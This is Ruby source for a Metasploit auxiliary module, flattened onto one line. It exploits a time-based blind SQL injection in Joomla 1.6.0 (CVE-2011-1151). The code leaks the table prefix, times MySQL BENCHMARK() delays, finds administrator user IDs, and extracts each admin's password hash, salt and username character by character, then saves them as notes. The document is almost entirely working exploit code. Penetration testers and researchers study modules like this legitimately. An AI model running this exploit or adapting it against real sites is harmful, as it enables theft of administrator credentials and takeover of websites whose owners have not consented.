# Requirements require 'msf/core' # Class declaration class Metasploit3 < Msf::Auxiliary # Includes include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient # Initialize module def initialize(info = {}) # Initialize information super(update_info(info, 'Name' => 'Joomla 1.6.0 // SQL Injection Exploit', 'Description' => %q{ A vulnerability was discovered by Aung Khant that allows for exploitable SQL Injection attacks against a Joomla 1.6.0 install. This exploit attempts to leverage the SQL Injection to extract admin credentials, and then store those credentials within the notes_db. The vulnerability is due to a validation issue in /components/com_content/models/category.php that erroneously uses the "string" type whenever filtering the user supplied input. This issue was fixed by performing a whitelist check of the user supplied order data against the allowed order types, and also escaping the input. NOTES: ------------------------------------------------ * Do not set the BMCT option too high! * Do not set the BMCT option too low either ... * A delay of about three to five seconds is ideal * Increase BMRC if you have issues with reliability }, 'Author' => [ # Exploit Only (Bug credit to Aung Khant) 'James Bercegay ( http://www.gulftech.org/ )' ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2011-1151' ], [ 'http://0x6a616d6573.blogspot.com/2011/04/joomla-160-sql-injection-analysis-and.html' ], ], 'Privileged' => false, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [[ 'Automatic', { }]], 'DisclosureDate' => 'March 17, 2011', 'DefaultTarget' => 0 )) register_options( [ # Required OptString.new('JDIR', [true, 'Joomla directory', '/']), # The number of function iterations to run during the benchmark OptInt.new('BMCT', [true, 'The number of iterations performed by BENCHMARK()', 500000 ]), # This is the benchmark delay threshold (in seconds) OptInt.new('BMDF', [true, 'The difference, in seconds, of a delayed request vs a normal request', 3 ]), # The number of benchmark tests to make during each data request. # This number may be increased for accuracy if you have problems. OptInt.new('BMRC', [true, 'The number of benchmark requests to perform per operation (Speed vs Accuracy)', 1 ]), # Optional OptBool.new( 'DBUG', [false, 'Verbose output? (Debug)' , nil ]), OptString.new('AGNT', [false, 'User Agent Info' , 'Mozilla/5.0' ]), # Database prefix OptString.new('PREF', [false, 'Joomla atabase prefixt', 'jos_' ]), # Admin account extraction limit OptInt.new('ALIM', [false, 'The number of admin accounts to extract (default is all available accounts)', nil ]), # Specific admin user ID to target OptInt.new('AUID', [false, 'Target a specific admin user id', nil ]), # URI used to trigger the bug OptString.new('JURI', [false, 'URI to trigger bug', "index.php/extensions/components/" ]), # Query used to trigger bug OptString.new('JQRY', [false, 'URI to trigger bug', "filter_order_Dir=1&filter_order=" ]), ], self.class) end ################################################# # Extract "Set-Cookie" def init_cookie(data, cstr = true) # Raw request? Or cookie data specifically? data = data.headers['Set-Cookie'] ? data.headers['Set-Cookie']: data # Beginning if ( data ) # Break them apart data = data.split(', ') # Initialize ctmp = '' tmps = {} # Parse cookies data.each do | x | # Remove extra data x = x.split(';')[0] # Seperate cookie pairs if ( x =~ /([^;\s]+)=([^;\s]+)/im ) # Key k = $1 # Val v = $2 # Valid cookie value? if ( v.length() > 0 ) # Build cookie hash tmps[k] = v # Report cookie status print_status("Got Cookie: #{k} => #{v}"); end end end # Build string data if ( cstr == true ) # Loop tmps.each do |x,y| # Cookie key/value ctmp << "#{x}=#{y};" end # Assign tmps['cstr'] = ctmp end # Return return tmps else # Something may be wrong init_debug("No cookies within the given response") end end ################################################# # Simple debugging output def init_debug(resp, exit = 0) # is DBUG set? Check it if ( datastore['DBUG'] ) # Print debugging data print_status("######### DEBUG! ########") pp resp print_status("#########################") end # Continue execution if ( exit.to_i > 0 ) # Exit exit(0) end end ################################################# # Generic post wrapper def http_post(url, data, headers = {}, timeout = 15) # Protocol proto = datastore['SSL'] ? 'https': 'http' # Determine request url url = url.length ? url: '' # Determine User-Agent headers['User-Agent'] = headers['User-Agent'] ? headers['User-Agent'] : datastore['AGNT'] # Determine Content-Type headers['Content-Type'] = headers['Content-Type'] ? headers['Content-Type'] : "application/x-www-form-urlencoded" # Determine Content-Length headers['Content-Length'] = data.length # Determine Referer headers['Referer'] = headers['Referer'] ? headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}" # Delete all the null headers headers.each do | hkey, hval | # Null value if ( !hval ) # Delete header key headers.delete(hkey) end end # Send request resp = send_request_raw( { 'uri' => datastore['JDIR'] + url, 'method' => 'POST', 'data' => data, 'headers' => headers }, timeout ) # Returned return resp end ################################################# # Generic post multipart wrapper def http_post_multipart(url, data, headers = {}, timeout = 15) # Boundary string bndr = Rex::Text.rand_text_alphanumeric(8) # Protocol proto = datastore['SSL'] ? 'https': 'http' # Determine request url url = url.length ? url: '' # Determine User-Agent headers['User-Agent'] = headers['User-Agent'] ? headers['User-Agent'] : datastore['AGNT'] # Determine Content-Type headers['Content-Type'] = headers['Content-Type'] ? headers['Content-Type'] : "multipart/form-data; boundary=#{bndr}" # Determine Referer headers['Referer'] = headers['Referer'] ? headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}" # Delete all the null headers headers.each do | hkey, hval | # Null value if ( !hval ) # Delete header key headers.delete(hkey) end end # Init temp = '' # Parse form values data.each do |name, value| # Hash means file data if ( value.is_a?(Hash) ) # Validate form fields filename = value['filename'] ? value['filename']: init_debug("Filename value missing from #{name}", 1) contents = value['contents'] ? value['contents']: init_debug("Contents value missing from #{name}", 1) mimetype = value['mimetype'] ? value['mimetype']: init_debug("Mimetype value missing from #{name}", 1) encoding = value['encoding'] ? value['encoding']: "Binary" # Build multipart data temp << "--#{bndr}\r\n" temp << "Content-Disposition: form-data; name=\"#{name}\"; filename=\"#{filename}\"\r\n" temp << "Content-Type: #{mimetype}\r\n" temp << "Content-Transfer-Encoding: #{encoding}\r\n" temp << "\r\n" temp << "#{contents}\r\n" else # Build multipart data temp << "--#{bndr}\r\n" temp << "Content-Disposition: form-data; name=\"#{name}\";\r\n" temp << "\r\n" temp << "#{value}\r\n" end end # Complete the form data temp << "--#{bndr}--\r\n" # Assigned data = temp # Determine Content-Length headers['Content-Length'] = data.length # Send request resp = send_request_raw( { 'uri' => datastore['JDIR'] + url, 'method' => 'POST', 'data' => data, 'headers' => headers }, timeout) # Returned return resp end ################################################# # Generic get wrapper def http_get(url, headers = {}, timeout = 15) # Protocol proto = datastore['SSL'] ? 'https': 'http' # Determine request url url = url.length ? url: '' # Determine User-Agent headers['User-Agent'] = headers['User-Agent'] ? headers['User-Agent'] : datastore['AGNT'] # Determine Referer headers['Referer'] = headers['Referer'] ? headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}" # Delete all the null headers headers.each do | hkey, hval | # Null value // Also, remove post specific data, due to a bug ... if ( !hval || hkey == "Content-Type" || hkey == "Content-Length" ) # Delete header key headers.delete(hkey) end end # Send request resp = send_request_raw({ 'uri' => datastore['JDIR'] + url, 'headers' => headers, 'method' => 'GET', }, timeout) # Returned return resp end ################################################# # Used to perform benchmark querys def sql_benchmark(test, table = nil, where = '1 LIMIT 1', tnum = nil ) # Init wait = 0 # Defaults table = table ? table: 'users' # SQL Injection string used to trigger the MySQL BECNHMARK() function sqli = Rex::Text.uri_encode("( SELECT IF(#{test}, BENCHMARK(#{datastore['BMCT']}, MD5(1)), 0) FROM #{datastore['PREF']}#{table} WHERE #{where} ),") # Number of tests to run. We run this # amount of tests and then look for a # median value that is greater than # the benchmark difference. tnum = tnum ? tnum: datastore['BMRC'] # Run the tests tnum.to_i.times do | i | # Start time bmc1 = Time.now.to_i # Make the request init_debug(http_post(datastore['JURI'], "#{datastore['JQRY']}#{sqli}")) # End time bmc2 = Time.now.to_i # Total time wait += bmc2 - bmc1 end # Return the results return ( wait.to_i / tnum.to_i ) end ################################################# def get_users_data(snum, slim, cset, sqlf, sqlw) # Start time tot1 = Time.now.to_i # Initialize reqc = 0 retn = String.new # Extract salt for i in snum..slim # Offset position oset = ( i - snum ) + 1 # Loop charset for cbit in cset # Test character cbit.each do | cchr | # Start time (overall) bmc1 = Time.now.to_i # Benchmark query bmcv = sql_benchmark("SUBSTRING(#{sqlf},#{i},1) LIKE BINARY CHAR(#{cchr.ord})", "users", sqlw, datastore['BMRC']) # Noticable delay? We must have a match! ;) if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) ) # Verbose print_status(sprintf("Character %02s is %s", oset.to_s, cchr )) # Append chr retn << cchr # Exit loop break end # Counter reqc += 1 end # each end # for # Host not vulnerable? if ( oset != retn.length ) # Failure print_error("Unable to extract character ##{oset.to_s}. Extraction failed!") return nil end end # for # End time (total) tot2 = Time.now.to_i # Benchmark totals tot3 = tot2 - tot1 # Verbose print_status("Found data: #{retn}") print_status("Operation required #{reqc.to_s} requests ( #{( tot3 / 60 ).to_s} minutes )") # Return return retn end ################################################# def run # Numeric test string tstr = Time.now.to_i.to_s # MD5 test string tmd5 = Rex::Text.md5(tstr) ################################################# # STEP 01 // Attempt to extract Joomla version ################################################# # Verbose print_status("Attempting to determine Joomla version") # Banner grab request resp = http_get("index.php") # Extract Joomla version information if ( resp.body =~ /name="generator" content="Joomla! ([^\s]+)/ ) # Version vers = $1.strip # Version "parts" ver1, ver2, ver3 = vers.split(/\./) # Only if 1.6.0 aka 1.6 if ( ver2.to_i != 6 || ver3 ) # Exploit failed print_error("Only Joomla versions 1.6.0 and earlier are vulnerable") print_error("Proceed with extreme caution, as the exploit may fail") init_debug(resp) else # Verbose print_status("The target is running Joomla version : #{vers}") end else # Verbose print_error("Unable to determine Joomla version ...") end ################################################# # STEP 02 // Trigger an SQL error in order to get # the database table prefix for future use. ################################################# # Trigger an SQL error resp = http_post(datastore['JURI'], "#{datastore['JQRY']}#{tmd5}") # Attempt to extract the table prefix if ( resp.body =~ /ORDER BY \s*#{tmd5}/ && resp.body =~ /FROM ([^\s]*)content / ) # Prefix datastore['PREF'] = $1 # Verbose print_status("Host appears vulnerable!") print_status("Got database table prefix : #{datastore['PREF']}") end ################################################# # STEP 03 // Calculate BENCHMARK() response times ################################################# # Verbose print_status("Calculating target response times") print_status("Benchmarking #{datastore['BMRC']} normal requests") # Normal request median (globally accessible) datastore['BMC0'] = sql_benchmark("1=2") # Verbose print_status("Normal request avg: #{datastore['BMC0'].to_s} seconds") print_status("Benchmarking #{datastore['BMRC']} delayed requests") # Delayed request median bmc1 = sql_benchmark("1=1") # Verbose print_status("Delayed request avg: #{bmc1.to_s} seconds") # Benchmark totals bmct = bmc1 - datastore['BMC0'] # Delay too small. The host may not be # vulnerable. Try increasing the BMCT. if ( bmct.to_i < datastore['BMDF'].to_i ) # Verbose print_error("Either your benchmark threshold is too small, or host is not vulnerable") print_error("To increase the benchmark threshold adjust the value of the BMDF option") print_error("To increase the expression iterator adjust the value of the BMCT option") return else # Host appears exploitable print_status("Request Difference: #{bmct.to_s} seconds") end atot = 0 # Total admins scnt = 0 # Step counter step = 10 # Step increment slim = 10000 # Step limit # 42 is the hard coded base uid within Joomla ... # ... and the answer to the ultimate question! ;] snum = 42 # No user supplied limit? if ( datastore['ALIM'].to_i == 0 && datastore['AUID'].to_i == 0 ) # Verbose print_status("Calculating total number of administrators") # Check how many admin accounts are in the database for i in 0..slim do # Benchmark bmcv = sql_benchmark("1", "user_usergroup_map", "group_id=8 LIMIT #{i.to_s},1", datastore['BMRC']) # If we do not have a delay, then we have reached the end ... if ( !( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) ) ) # Range atot = i # Verbose print_status("Successfully confirmed #{atot.to_s} admin accounts") # Exit loop break end end else # User supplied limit atot = datastore['AUID'] ? 1: datastore['ALIM'] end ################################################# # STEP 04 // Attempting to find a valid admin id ################################################# # Loops until limit while ( snum < slim && scnt < atot ) # Specific admin user ID? if ( datastore['AUID'].to_i == 0 ) # Verbose print_status("Attempting to find a valid admin ID") # Verbose print_status("Stepping from #{snum.to_s} to #{slim.to_s} by #{step.to_s}") # Here we attempt to find a valid admin user id by incrementally searching the table # "user_usergroup_map" for users belonging to the user group 8, which is, by default # the admin user group. First we step through 10 at a time until we pass up a usable # admin id, then we step back by #{step} and increment by one until we have a match. for i in snum.step(slim, step) # Benchmark bmcv = sql_benchmark("#{i} > user_id", "user_usergroup_map", "group_id=8 LIMIT #{scnt.to_s},1", datastore['BMRC']) # Noticable delay? We must have a match! ;) if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) ) # Range itmp = i # Exit loop break else # Out of time .. if ( i == slim ) # Failure print_error("Unable to find a valid user id. Exploit failed!") return end end end # Jump back by #{step} and increment by one for i in ( itmp - step ).upto(( itmp + step )) # Benchmark bmcv = sql_benchmark("user_id = #{i}", "user_usergroup_map", "group_id=8 LIMIT #{scnt.to_s},1", datastore['BMRC']) # Noticable delay? We must have a match! ;) if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) ) # UserID auid = i # Verbose print_status("Found a valid admin account uid : #{auid.to_s}") # Step Counter scnt += 1 # Exit loop break else # Out of time .. if ( i == ( itmp + step ) ) # Failure print_error("Unable to find a valid user id. Exploit failed!") return end end end else # Specific admin id target auid = datastore['AUID'] print_status("Targeting admin user id: #{auid.to_s}") end ################################################# # These are the charsets used for the enumeration # operations and can be easily expanded if needed ################################################# # Hash charset a-f0-9 hdic = [ ('a'..'f'), ('0'..'9') ] # Salt charset a-zA-Z0-9 sdic = [ ('a'..'z'), ('A'..'Z'), ('0'..'9') ] # Username charset udic = [ ('a'..'z'), ('A'..'Z'), ('0'..'9') ] ################################################# # STEP 05 // Attempt to extract admin pass hash ################################################# # Verbose print_status("Attempting to gather admin password hash") # Get pass hash if ( !( hash = get_users_data( 1, # Length Start 32, # Length Maximum hdic, # Charset Array "password", # SQL Field name "id=#{auid.to_s}" # SQL Where data ) ) ) # Failure print_error("Unable to gather admin pass hash. Exploit failed!!") return end ################################################# # STEP 06 // Attempt to extract admin pass salt ################################################# # Verbose print_status("Attempting to gather admin password salt") # Get pass salt if ( !( salt = get_users_data( 34, # Length Start 65, # Length Maximum sdic, # Charset Array "password", # SQL Field name "id=#{auid.to_s}" # SQL Where data ) ) ) # Failure print_error("Unable to gather admin pass salt. Exploit failed!!") return end ################################################# # STEP 08 // Attempt to extract admin username ################################################# # Verbose print_status("Attempting to determine target username length") # Hard limit is 150 for i in 1.upto(150) # Benchmark bmcv = sql_benchmark("LENGTH(username)=#{i.to_s}", "users", "id=#{auid.to_s}", datastore['BMRC']) # Noticable delay? We must have a match! ;) if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) ) # Length ulen = i # Verbose print_status("The username is #{i.to_s} characters long") # Exit loop break end end # Verbose print_status('Gathering admin username') # Get pass salt if ( !( user = get_users_data( 1, # Length Start ulen, # Length Maximum udic, # Charset Array "username", # SQL Field name "id=#{auid.to_s}" # SQL Where data ) ) ) # Failure print_error("Unable to gather admin user name. Exploit failed!!") return end # Verbose print_status("USER: #{user} (ID: #{auid.to_s})") print_status("HASH: #{hash}") print_status("SALT: #{salt}") print_status("Inserting credentials into the note database ...") # Note data ndat = { # Joomla directory "JDIR" => datastore['JDIR'], # Admin ID "AUID" => auid, # Admin User "USER" => user, # Admin Hash "HASH" => hash, # Admin Salt "SALT" => salt, } # Save results report_note( :host => datastore['RHOST'], :proto => ( !datastore['SSL'] ) ? 'HTTP': 'HTTPS', :port => datastore['RPORT'], :type => "Joomla Admin Credentials", :data => ndat ) end # while end end